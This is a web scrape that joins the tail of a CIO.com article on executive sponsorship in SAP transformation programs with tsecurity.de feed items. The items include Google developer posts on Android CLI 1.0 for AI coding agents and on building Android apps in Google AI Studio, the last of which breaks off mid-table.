<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Synth historian Oli Freke will spend big on a good bicycle]]></title>
<description><![CDATA[Oli Freke is a musician and journalist whose works have appeared in Sound on Sound, The Quietus, and Mixmag. This has included using math to explore the melodic potential of the Western 12-tone scale and deep dives on effects plug-ins. He's even written a book tracing the evolution of the synthes...]]></description>
<link>https://tsecurity.de/de/3694103/it-nachrichten/synth-historian-oli-freke-will-spend-big-on-a-good-bicycle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694103/it-nachrichten/synth-historian-oli-freke-will-spend-big-on-a-good-bicycle/</guid>
<pubDate>Sat, 25 Jul 2026 17:31:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Oli Freke is a musician and journalist whose works have appeared in Sound on Sound, The Quietus, and Mixmag. This has included using math to explore the melodic potential of the Western 12-tone scale and deep dives on effects plug-ins. He's even written a book tracing the evolution of the synthesizer from 1963 through 1995, […]]]></content:encoded>
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<title><![CDATA[Uh Oh: I Learned How to Make Air Fryer Fries Taste Exactly Like Deep-Fried]]></title>
<description><![CDATA[Four small adjustments to your air fryer fry routine produce results that are genuinely hard to distinguish from the deep-fried version.]]></description>
<link>https://tsecurity.de/de/3693979/it-nachrichten/uh-oh-i-learned-how-to-make-air-fryer-fries-taste-exactly-like-deep-fried/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693979/it-nachrichten/uh-oh-i-learned-how-to-make-air-fryer-fries-taste-exactly-like-deep-fried/</guid>
<pubDate>Sat, 25 Jul 2026 15:56:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Four small adjustments to your air fryer fry routine produce results that are genuinely hard to distinguish from the deep-fried version.]]></content:encoded>
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<title><![CDATA[Apple Mail comes free with every Mac, but I’d rather use this app]]></title>
<description><![CDATA[As a longtime Gmail user, I prefer Mimestream’s speed and deep Gmail integration over Apple Mail. It offers several advantages.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3693953/ios-mac-os/apple-mail-comes-free-with-every-mac-but-id-rather-use-this-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693953/ios-mac-os/apple-mail-comes-free-with-every-mac-but-id-rather-use-this-app/</guid>
<pubDate>Sat, 25 Jul 2026 15:18:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-1440x810.jpeg.webp" class="attachment-large size-large wp-post-image" alt="AI-generated image of Mimestream mail app running on an Apple laptop, used to illustrate a story comparing Mimestream to Apple Mail." decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-1440x810.jpeg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-400x225.jpeg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-768x432@2x.jpeg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-350x197.jpeg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-768x432.jpeg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-1020x574.jpeg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream.jpeg.webp 1672w, https://www.cultofmac.com/wp-content/uploads/2026/07/apple-mail-mimestream-400x225@2x.jpeg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>As a longtime Gmail user, I prefer Mimestream’s speed and deep Gmail integration over Apple Mail. It offers several advantages.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
<p><span></span></p>
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  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
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<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
